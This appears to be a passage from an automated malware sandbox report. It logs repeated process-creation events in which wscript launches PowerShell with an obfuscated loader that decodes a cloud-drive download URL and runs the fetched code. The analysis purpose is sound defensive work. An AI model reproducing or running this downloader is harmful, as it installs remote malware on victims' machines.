e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT 